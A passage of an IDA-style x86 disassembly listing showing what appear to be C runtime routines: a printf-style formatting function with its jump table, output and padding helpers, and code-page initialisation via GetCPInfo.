		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D094
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D090
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D420
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D42C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D424
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D090
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_42705C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		jmp	dword_427054
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		jmp	dword_427058
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	dword_42705C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
